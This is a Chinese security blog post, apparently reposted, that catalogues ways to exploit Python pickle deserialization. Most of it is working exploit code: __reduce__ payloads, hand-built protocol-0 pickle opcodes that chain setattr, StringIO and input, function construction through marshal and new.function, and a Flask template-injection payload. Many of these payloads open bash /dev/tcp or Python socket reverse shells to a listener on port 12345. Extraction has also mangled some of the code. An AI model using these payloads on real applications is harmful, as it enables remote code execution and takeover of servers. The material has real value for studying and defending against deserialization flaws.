python pickle反序列化漏洞_【经验分享】Python反序列化漏洞的花式利用

原标题:【经验分享】Python反序列化漏洞的花式利用

0x00 前记

前些时间看了看python pickle的源码,研究了一下一些利用方式,这里总结分享一下反序列化漏洞的一些利用方式,如果本文有错误的地方请各位师傅不吝赐教。漏洞原理就不再赘述了,可以看看关于python sec的简单总结这篇文章。

0x01 基础利用

通常我们利用__reduce__函数进行构造,一个样例如下:

#!/usr/bin/env python

# encoding: utf-8

importos

importpickle

classtest(object):

def__reduce__(self):

return(os.system,( 'ls',))

a=test()

payload=pickle.dumps(a)

printpayload

pickle.loads(payload)

其中pickle.loads是会解决import 问题,对于未引入的module会自动尝试import。那么也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。 之前把python的标准库都大概过了一遍,把其中绝大多数的可用函数罗列如下:

eval, execfile, compile, open, file, map, input,

os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,

os.listdir, os.access,

os.execl, os.execle, os.execlp, os.execlpe, os.execv,

os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,

os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,

pickle.load, pickle.loads, cPickle.load, cPickle.loads,

subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen,

commands.getstatusoutput, commands.getoutput, commands.getstatus,

glob.glob,

linecache.getline,

shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive,

dircache.listdir, dircache.opendir,

io.open,

popen2.popen2, popen2.popen3, popen2.popen4,

timeit.timeit, timeit.repeat,

sys.call_tracing,

code.interact, code.compile_command, codeop.compile_command,

pty.spawn,

posixfile.open, posixfile.fileopen,

platform.popen

除开我们常见的那些os库、subprocess库、commands库之外还有很多可以执行命令的函数,这里用举两个不常用的:

map(__import_ _( 'os').system,[ 'bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0&1"',])

sys.call_tracing(__import_ _( 'os').system,( 'bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0&1"',))

platform.popen( "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'")

0x02 input函数

相信有童鞋已经敏锐的注意到了这个input函数,这个通常很难进入大家的视线。 这个函数也仅在python2中能够利用,在之前的博客 中提到过为什么。 这个函数在python2中是能够执行python代码的。但是有一个问题就是这个函数是从标准输入获取字符串,所以怎么利用就是一个问题,不过相信大家看到我 hook pickle的load的方法就知道这里该怎么利用了,我们可以利用StringIO库,然后将标准输入修改为StringIO创建的内存缓冲区即可。 接下来说说怎么把这个函数用起来。 首先关于pickle 的数据流协议在python2里面有三种,python3里面有五种,默认的是0,具体可以看看勾陈安全实验室的大佬写的《Python Pickle的任意代码执行漏洞实践和Payload构造》,其中对协议进行说明,这里搬运下:

c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。

(:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。

t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。

S:读取引号中的字符串直到换行符处,然后将它压入堆栈。

R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。

.:结束pickle。

好的我们来构造一下这个input函数

c__builtin__

input

(S 'input: '

tR.

然后我们要想办法修改一下标准输入,正常python2里面我们一般这样修改

但是在pickle的0号协议中,我们不能用等于符号,但是我们可以用setattr函数

好的现在万事就绪了,只需要把这一套用上述协议转换一下就行了。

c__builtin__

setattr

(c__builtin__

__import__

(S 'sys'

tRS 'stdin'

cStringIO

StringIO

(S '__import__('os').system('curl 127.0.0.1:12345')'

tRtRc__builtin__

input

(S 'input: '

tR.

直接反弹shell就行了

a= '''c__builtin__nsetattrn(c__builtin__n__import__n(S'sys'ntRS'stdin'ncStringIOnStringIOn(S'__import__('os').system('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0&1"')'ntRtRc__builtin__ninputn(S'python> 'ntR.'''

pickle.loads(a)

0x03 任意函数构造

在勾陈安全实验室的文章中,提到了一个types.FunctionType配上marshal.loads的方法,

importbase64

importmarshal

deffoo():

importos

os.system( 'bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0&1"')

payload= """ctypes

FunctionType

(cmarshal

loads

(cbase64

b64decode

(S'%s'

tRtRc__builtin__

globals

(tRS''

tR(tR."""%base64.b64encode(marshal.dumps(foo.func_code))

pickle.loads(payload)

payload= """ctypes

FunctionType

(cmarshal

loads

(S'%s'

tRc__builtin__

globals

(tRS''

tR(tR."""%marshal.dumps(foo.func_code).encode( 'string-escape')

pickle.loads(payload)

这里不再赘述,同样的思路我们还有一些别的方法,例如和types.FunctionType几乎一样的函数new.function

importbase64

importmarshal

deffoo():

importos

os.system( 'bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0&1"')

payload= """cnew

function

(cmarshal

loads

(cbase64

b64decode

(S'%s'

tRtRc__builtin__

globals

(tRS''

tR(tR."""%base64.b64encode(marshal.dumps(foo.func_code))

pickle.loads(payload)

payload= """cnew

function

(cmarshal

loads

(S'%s'

tRc__builtin__

globals

(tRS''

tR(tR."""%marshal.dumps(foo.func_code).encode( 'string-escape')

pickle.loads(payload)

0x04 类函数构造

这里主要使用new.classobj函数来构造一个类函数对象然后执行,这样就可以调用原有库的一些函数,也可以自己构造。

payload=pickle.dumps(new.classobj( 'system', (), { '__getinitargs__':lambdaself,arg=( 'bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0&1"',) :arg, '__module__': 'os'})())

pickle.loads(payload)

lambda语句也可以换成上述提到的new.function或是types.FunctionType的构造。

既然有了这种思路,那么new库里面的提到的很多东西都可以转换思路了。有兴趣可以去研究一下。

0x05 构造SSTI

本来这是一个打算用于以后的一个点的,但是这次有人用这种方法做出来了,那我也就分享一下了。说道要找执行代码的函数,不久前的qwb和hitb我都特意采用了Flask框架。而要知道Flask的render_template_string所引发的SSTI漏洞则又是另一个可利用的点了。

payload="cflask.templatingnrender _template_stringnp0n(S"{% for x in ((). __class__. __base__. __subclasses__()) %}{%if x. __name__=='catch _warnings'%}{{x.__repr__.im_func.func_globals.linecache.os.system('bash -c "bash -i >& /dev/tcp/172.17.0.1/12345 0>&1" &')}}{%endif%}{%endfor%}"np1ntp2nRp3n."

文:bendawang

链接:https://xz.aliyun.com/t/2289返回搜狐,查看更多

责任编辑:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值